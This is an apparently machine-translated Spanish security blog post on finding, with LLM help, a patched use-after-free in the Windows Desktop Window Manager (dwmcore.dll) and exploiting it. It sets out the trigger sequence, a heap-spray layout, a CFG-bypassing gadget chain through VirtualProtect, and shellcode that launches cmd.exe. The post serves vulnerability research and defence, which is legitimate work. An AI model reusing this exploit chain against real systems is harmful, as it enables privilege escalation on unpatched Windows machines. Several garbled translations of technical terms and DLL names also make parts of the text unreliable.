Intro
La diferencia de parches me fascinó durante mucho tiempo. Creo que parte de ello tiene que ver con la carrera contra el reloj, retroceder, explotar y tratar de alcanzar ese estatus de exploit de "un día". Para objetivos avanzados de Windows, Valentina Palmiotti y Ruben Boonen demostraron que esto ya era posible hace casi 3 años. Pero son algunos de los desarrolladores de exploits más talentosos del mundo. ¿Pueden los LLMs elevar el piso de capacidad para nosotros, simples mortales? Por suerte, y quizá de forma un poco alarmante, la respuesta es sí.
La caza
Cuando salió el boletín del Martes de Parches del 2026 de enero, inicié mi búsqueda para identificar una de las vulnerabilidades parcheadas y (con suerte) desarrollar un exploit funcional para ella. En la lista principal de objetivos estaban las vulnerabilidades ya conocidas que fueron explotadas en la naturaleza. Los parches de enero incluyeron una vulnerabilidad de filtración de información en el Gestor de Ventanas de Escritorio (DWM), que llamó mi atención. También incluía una segunda vulnerabilidad de DWM que podía provocar una escalada local de privilegios. Históricamente, el DWM fue un objetivo popular para la escalada de privilegios locales. A veces puede ser complicado identificar el componente exacto parcheado, pero para DWM, dwmcore.dll siempre es una apuesta segura.
Luego de capacitar a Ghidra en los archivos y extraer vectores BSim para cada función, se vuelve bastante fácil resaltar las diferencias entre ellos. Sin mencionar que muchas vulnerabilidades parcheadas por Microsoft vienen acompañadas de nuevas banderas de funcionalidad. No hace falta decir que Opus 4.5 resolvió rápidamente el diferencial e identificó una de las vulnerabilidades en cuestión de minutos.
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
A partir de aquí, tengo que decir que el tiempo para construir un exploit funcional fue dolorosamente más lento de lo que esperó. Pasé muchas noches y fines de semana largas pinchando y empujando a la modelo. Mucho de esto se debía a mi desconocimiento de la clase y subsistema de bugs. Finalmente, logramos ganar y pasar de RCE de bajo privilegio a DWM y luego a SISTEMA. En el proceso, descubrí varias técnicas novedosas de explotación, como el spray GetRECT, nuevas cadenas de gadgets y una ruta de DWM a SISTEMA. Sin embargo, con estas técnicas (y algunas otras herramientas) en mano y lanzamientos de modelos más recientes como Opus 4.6, el tiempo desde el descubrimiento de una vulnerabilidad UAF en DWM hasta el exploit funcional bajó de 3 semanas a cuestión de horas.
El Bicho
La vulnerabilidad es un Use-After-Free en CSynchronousSuperWetInk::~CSynchronousSuperWetInk. El destructor elimina condicionalmente el objeto de CSuperWetInkManager en función del valor de retorno de IsSuperWetCompatible().
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
El destructor vulnerable en dwmcore.dll versión 10.0.26100.7309.
Condición Súper WetCompatible
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
La condición IsSuperWetCompatible en dwmcore.dll versión 10.0.26100.7309.
La función devuelve true solo cuando LookupMode es igual a 2, o notifier1 está establecido, Y tanto clipEntry como comObject son no nulos.
El Bicho
Un atacante puede:
- Registra una
CSynchronousSuperWetInkcon el encargado (requiereLookupMode=2duranteDraw()) - Cambiar
LookupModea 0 a través deCMD_SET_PROPERTY - Destrucción por desencadenante mediante
CMD_RELEASE_RESOURCE IsSuperWetCompatible()returns FALSE →RemoveSource()se omite- Un puntero colgante permanece en
CSuperWetInkManager::localStrokesVector
Cuando DWM itera posteriormente este vector (por ejemplo, en DirtyActiveInk), desreferencian la vtable del objeto liberado, lo que conduce a una ejecución controlada del código.
La solución
El parche agrega una bandera de característica (Feature_1732988217). Cuando está activado, RemoveSource() se llama incondicionalmente, independientemente de IsSuperWetCompatible(). Esto garantiza que el objeto siempre quede correctamente desregistrado del gestor durante la destrucción, eliminando el puntero colgante.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
El destructor fijo en dwmcore.dll versión 10.0.26100.7623.
La Hazaña
El UAF puede activar desde una aplicación normal en modo usuario a través de la API DirectComposition. El ataque no requiere privilegios especiales.
Prerrequisitos
- Infraestructura D3D11/DXGI: Crea un dispositivo D3D11 con soporte BGRA y una cadena de intercambio para una ventana visible.
- Dispositivo DirectComposition: Inicializar vía
DCompositionCreateDevice()con el dispositivo DXGI. - NtDComposition Syscall Access: Conecta o llama directamente a
NtDCompositionProcessChannelBatchBufferyNtDCompositionCommitChannelmediantewin32u.dllpara inyectar comandos de búfer por lotes en bruto.
Secuencia de disparo
Paso 1: Crear un rastro de tinta (asignar CSynchronousSuperWetInk)
Consulta IDCompositionInkTrailDevice desde el dispositivo DirectComposition y luego llama a CreateDelegatedInkTrailForSwapChain() o CreateDelegatedInkTrail(). Esto asigna un objeto CSynchronousSuperWetInk (tipo de recurso 0xa8) en el heap de dwm.exe.
Paso 2: Crear Visual y Establecer LookupMode=2
Inyectar comandos de batch buffer para:
- Crea una
CSuperWetInkVisual(escribe0xa5) conCMD_CREATE_RESOURCE(0x02) - Conecta la imagen a la fuente de tinta:
CMD_SET_REFERENCE(0x10) con propID0x34 - Configura
LookupMode=2en la fuente de tinta medianteCMD_SET_PROPERTY(0x0B) con propId10 - Conectarse al árbol de composición:
CMD_SET_REFERENCEa los 1 y 2 de los manos (objetivo de composición / marshaler) con propId0x34
LookupMode=2 cerciora IsSuperWetCompatible() devuelva TRUE durante Draw(), lo que registra el objeto con CSuperWetInkManager::localStrokesVector.
Paso 3: Renderizar los fotogramas para registrarlos con el gestor
Presenta múltiples fotogramas (IDXGISwapChain::Present) y compromete los cambios de DirectComposition. Esto activa el bucle de renderizado del DWM, que llama a la infraestructura de tinta y registra el puntero CSynchronousSuperWetInk en el vector interno del gestor.
Paso 4: Configurar LookupMode=0 (Comprobación de eliminación de bypass)
Inyecta CMD_SET_PROPERTY para cambiar LookupMode a 0. Ahora IsSuperWetCompatible() devolverá FALSE porque:
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
Con LookupMode = 0 y sin notificador, la primera condición falla.
Paso 5: Libera el rastro de tinta (Crea un puntero colgante)
- Desconectar referencias visuales:
CMD_SET_REFERENCEcon refHandle=0 para todas las conexiones - Liberar la interfaz
IDCompositionDelegatedInkTrail
Cuando el destructor ~CSynchronousSuperWetInk corre:
- Llama a
IsSuperWetCompatible()que devuelve FALSE (LookupMode=0) RemoveSource()se SALTAN- El objeto queda liberado, pero su puntero permanece en
CSuperWetInkManager::localStrokesVector
Paso 6: Activa DirtyActiveInk (Uso Posterior)
Sigue presentando marcos e invalidando la ventana. El bucle de composición de DWM llama a CSuperWetInkManager::DirtyActiveInk(), que itera localStrokesVector y desreferencia el puntero colgante:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
Comportamiento en accidentes
Sin un heap spray, el DWM se cierra al acceder a la memoria liberada:
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
Si la memoria liberada es recuperada por otro objeto (por ejemplo, CInteractionTrackerScaleAnimation), el fallo ocurre en una vtable inesperada:
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
Al controlar qué datos recuperan la asignación liberada, un atacante puede crear una vtable falsa y lograr la ejecución arbitraria de código mediante la llamada virtual en vtable+0x50.
Spray de montones
Para explotar el UAF, debemos recuperar la asignación liberada de CSynchronousSuperWetInk con datos controlados por el atacante que contienen una vtable falsa. Esta sección documenta la técnica de pulverización de buffer CRegionGeometry RECT que conocemos como GetRECT.
Propiedades del objeto objetivo
| Propiedad | Valor |
|---|---|
| Objetivo | CSynchronousSuperWetInk |
| Tamaño | 0x120 (288 bytes) |
| Asignador | DefaultHeap::AllocClear → GetProcessHeap() |
| LFH Bucket | 34 (rango de bytes 273-288) |
| Espacios por subsegmento | 57 |
Primitiva de pulverización: CRegionGeometry RECT Buffer
El spray emplea recursos CRegionGeometry (tipo 0x81) con datos de la matriz RECT:
| Propiedad | Valor |
|---|---|
| Tipo de recurso | 0x81 (Geometría de Crío) |
| Tamaño del chorro | 18 RECTs × 16 bytes = 288 bytes |
| Asignador | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| Cubo LFH | 34, igual que el objetivo |
| Control de contenido | 72 valores int32 (18 RECTs × 4 campos) |
Cadena de asignación:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
El búfer RECT se escribe mediante CMD_SET_BUFFER_PROPERTY (0x0F) con propId 5:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
Diseño RECT para objeto falso
Los 18 RECTs (288 bytes) proporcionan control total sobre la memoria recuperada:
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
Ayudante para escribir valores de 64 bits en campos RECT adyacentes:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
Explotación primitiva
El UAF nos da una llamada vtable controlada con RCX apuntando a nuestro objeto pulverizado. Cuando DirtyActiveInk itera el puntero colgante:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
Llamar al pile del sitio:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
Estado de registro en el momento del despacho:
RCX= puntero al objeto pulverizado (nuestro 288 bytes controlado)RIP=[[spray]+0x50](puntero de función de falso vtable)
Restricciones de la función objetivo
Inicialmente hay dos restricciones sobre lo que podemos llamar:
- El destino debe estar en el mapa de bits CFG (marcado como destino de llamada válido)
- El objetivo debe tener un puntero hacia él (en IAT, vtable u otra memoria legible)
No podemos llamar directamente a direcciones arbitrarias; solo funciones que cumplen ambas condiciones.
Cadena de gadgets: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
Con el UAF dándonos una llamada vtable controlada (RIP = [[spray]+0x50], RCX = spray), el desafío que queda es encadenar gadgets válidos para CFG para lograr una ejecución arbitraria de código. La ejecución directa de shellcode está bloqueada por CFG y no tenemos fuga de direcciones de heap. Desarrollamos una cadena de gadgets novedosa que resuelve ambos problemas para lograr la ejecución de código, pero requería 2 intentos exitosos de explotación, lo que reducía la fiabilidad. Por ello, cambiamos a una técnica pública conocida que emplea dos dispositivos DLL del sistema Windows: __fnINSTRING (user32.dll) y CStdAsyncStubBuffer2_Disconnect (combara.dll).
Etapa 1: __fnINSTRING - Despacho de Callback del Kernel sin fuga
El núcleo de Windows se comunica de vuelta al modo usuario a través del KernelCallbackTable (KCT), una tabla de punteros de función almacenada en el PEB con desplazamiento +0x58. Cada entrada apunta a un manejador de __fn* en user32.dll. Estas funciones son destinos de llamada válidos para CFG y tienen punteros a ellas en memoria legible (el propio KCT), satisfaciendo ambas restricciones.
Apuntamos la vtable falsa a &KCT[fnINSTRING_index] - 0x50. Cuando DirtyActiveInk desreferencia [[spray]+0x50], lee la entrada KCT y la envía a __fnINSTRING:
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
Lo que hace esto útil es lo que hace __fnINSTRING internamente. Trata su argumento (nuestro buffer de pulverización) como una estructura _CAPTUREBUF y llama a FixupCallbackPointers antes de despachar la función interna. FixupCallbackPointers lee una tabla de corrección del búfer y convierte los desplazamientos relativos en direcciones absolutas agregando la dirección base del búfer:
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
Esto elimina la necesidad de una fuga de dirección de heap. Incrustamos desplazamientos relativos en el buffer de pulverización y FixupCallbackPointers los parcheamos a punteros absolutos en tiempo de ejecución usando la propia dirección del búfer. Tras la corrección, __fnINSTRING despacha el puntero de función interna en +0x48 con los argumentos en +0x28 (RCX), +0x30 (EDX), +0x38 (R8) y +0x50 (R9).
Establecemos la función interna en CStdAsyncStubBuffer2_Disconnect.
Fase 2: CStdAsyncStubBuffer2_Disconnect - Dos llamadas Vtable encadenadas
CStdAsyncStubBuffer2_Disconnect se exporta desde combase.dll, lo que la convierte en válida para CFG con una dirección estable. Su desensamblado revela una primitiva útil: dos despachos vtable secuenciales con registros de argumentos preservados:
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX, R8, y R9 se conservan a través de ambas llamadas, llegando intactas desde la configuración de argumentos de __fnINSTRING. Esto nos da control total sobre los tres primeros argumentos de ambas llamadas vtable.
Llamada Vtable #1: VirtualProtect → RWX
Construimos un objeto falso autorreferencial en +0xC8 del buffer de pulverización: [+0xC8] apunta a sí mismo (tras la reparación), así que desreferenciar [RCX] → [RCX+0x20] lee la dirección de VirtualProtectde +0xE8. Los argumentos (conservados de __fnINSTRING despacho) son:
| Regístrate | Valor | Objetivo |
|---|---|---|
| RCX | base+0xC8 (fake_obj_1) | lpAddress (inicio de la región del buffer de pulverización) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) |
| R9 | base+0xC0 | lpflOldProtect (ranura de salida en el buffer de pulverización) |
Tras esta llamada, la página de memoria del buffer de pulverización se marca como RWX, y el mapa de bits CFG se actualiza para permitir la ejecución desde esta región.
Llamada Vtable #2: Código de shell en línea
Tras el regreso de VirtualProtect, Disconnect carga [this+0x10] en RCX para el segundo despacho de vtable:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
La cadena de punteros se resuelve paso a paso:
[this+0x10]=[base+0x90]=base+0xA0(fake_obj_2)[RCX]=[base+0xA0]=base+0xA8, el avanzado vtable de fake_obj_2 (luego de la corrección)[RAX+0x10]=[base+0xB8]=base+0xD0, tercera entrada de vtable_2, señalando nuestro código de shell
El CALL guard_dispatch_icall final se despacha a base+0xD0, nuestro shellcode en línea, ahora tanto ejecutable como válido para CFG gracias a la llamada VirtualProtect anterior.
Diseño de Shellcode
El shellcode se divide en dos fases porque los datos de direcciones de VirtualProtect están en +0xE8 (usados como vtable_1[0x20] por la llamada #1), creando un hueco en medio de nuestra región ejecutable:
Fase 1 (+0xD0, 22 bytes): Almacena RCX (base+0xA0) en RBX para aritmética de direcciones posteriores, asigna espacio sombra, carga SW_SHOW (5) en RDX, carga la dirección absoluta de WinExec mediante movabs RAX, y luego salta sobre la brecha de datos de 8 bytes en +0xE8:
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
Fase 2 (+0xF0): Llama a WinExec con un puntero relativo RIPa la cadena de "cmd.exe\0" incrustada al final del shellcode, desactiva el spray para una reentrada segura y luego realiza una corrección de pila para volver directamente al bucle de composición del DWM:
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
El add rsp, 0xB8 mejora la fiabilidad. Un add rsp, 0x28 ingenuo volvería a CStdAsyncStubBuffer2_Disconnect, que luego volvería a __fnINSTRING, que llama a NtCallbackReturn. Esta ruta de retorno de llamada del núcleo puede ser frágil en el contexto de una llamada secuestrada. Al agregar un 0x90 extra al ajuste de la pila, el shellcode salta por completo ambos fotogramas intermedios y regresa directamente al llamador de DirtyActiveInken el bucle de composición DWM.
Reentrada segura: Desactivar el spray
Los DirtyActiveInk de DWM pueden iterar el puntero colgante más de una vez. Sin desactivación, cada reentrada reactivaba toda la cadena y se bloqueaba. El shellcode reescribe el avanzado vtable del spray para que las desreferencias posteriores sigan un camino inofensivo:
[base+0x00]se sobreescribir abase+0x08(nuevo falso vtable)[base+0x58]se sobreescribir a la dirección de una instrucciónret
En la reentrada: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. La llamada de vtable vuelve inmediatamente. __fnINSTRING nunca se vuelve a invocar porque el vtable ya no apunta a la entrada KCT.
Distribución completa de pulverización
El buffer de pulverización completo de 288 bytes (18 RECTs) luego de FixupCallbackPointers:
| Desplazamiento | Tamaño | Contenido | Objetivo |
|---|---|---|---|
| +0x00 | 8 | KCT_entry - 0x50 | Falsa vtable → __fnINSTRING |
| +0x08 | 4 | 8 | Recuento de arreglos |
| +0x18 | 4 | 0x58 | Desplazamiento de la mesa de fijación |
| +0x20 | 8 | base (arreglada) | Guardia (bloquea la re-reparación) |
| +0x28 | 8 | base+0x80 (arreglado) | Desconexión de RCX → this |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize |
| +0x38 | 8 | 0x40 | R8 → PAGE_EXECUTE_READWRITE |
| +0x48 | 8 | &Desconexión | Puntero de función interna |
| +0x50 | 8 | base+0xC0 (arreglado) | R9 → lpflOldProtect |
| +0x58 | 32 | Tabla de corrección (8 entradas) | Desplazamientos a parchear |
| +0x78 | 8 | base+0xC8 (arreglado) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (sin usar) | Desconectar this base |
| +0x90 | 8 | base+0xA0 (arreglado) | [esto+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (arreglado) | fake_obj_2 vtable |
| +0xB8 | 8 | base+0xD0 (arreglado) | vtable_2[0x10] → código shell |
| +0xC0 | 4 | (salida) | VirtualProtect lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (arreglado) | Vtable autorreferencial (fake_obj_1) |
| +0xD0 | 22 | Fase 1 del código shell. | Almacena las reglas, carga WinExec, jmp |
| +0xE8 | 8 | & VirtualProtect | vtable_1[0x20] datos |
| +0xF0 | 48 | Fase 2 del código shell. | WinExec + desactivar + arreglo de pila + "cmd.exe\0" |
Resumen completo de la cadena
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
El proceso DWM se ejecuta como el usuario DWM con integridad del sistema. Las técnicas públicas previas para lograr SYSTEM suelen implicar secuestrar punteros de función mapeados en procesos clientes privilegiados como LogonUI o Consent. Sin embargo, parece que esta técnica fue recientemente parcheada, ya que la sección compartida ahora está mapeada como solo lectura. Desarrollamos un nuevo camino alternativo hacia SYSTEM, pero por ahora decidimos no publicar la técnica.
Conclusiones
Los modelos que tenemos hoy son muy capaces en tareas que históricamente requirieron una profunda experiencia cultivada durante muchos años. Esto incluye cosas como la ingeniería inversa, el descubrimiento de vulnerabilidades y el desarrollo de exploits. Sus capacidades son espinosas y aún no rivalizan con las mejores del mundo en estos campos. Sin embargo, el avance del progreso de los modelos no parece mostrar señales de desacelerar en este momento. Esto iguala el terreno de juego para los defensores, pero también eleva las capacidades de los atacantes. Aunque siempre existió un juego adversarial del gato y el mouse, y esto no es nuevo en ese sentido, los atacantes al menos tienen un beneficio asimétrico a corto plazo para usar estas herramientas y causar daño. Los atacantes pueden mover más rápido, sin preocupar demasiado por la seguridad o protección de los sistemas de IA. Los defensores deben aprovechar la IA con fines ofensivos contra su código (para vulnerabilidades), productos de seguridad (para detectar brechas) y sus compañías (emulación de adversarios) para encontrar debilidades e iterar sobre defensas mejoradas antes que los atacantes. Desafortunadamente, puede que sean las pequeñas organizaciones sin equipos de seguridad las que sufran el mayor impacto del dolor a corto plazo. Mi esperanza es que a largo plazo, la comunidad de seguridad pueda juntamente gastar más que los atacantes en investigación ofensiva y defensiva, y que salgamos de esta era en un lugar mejor que al principio.
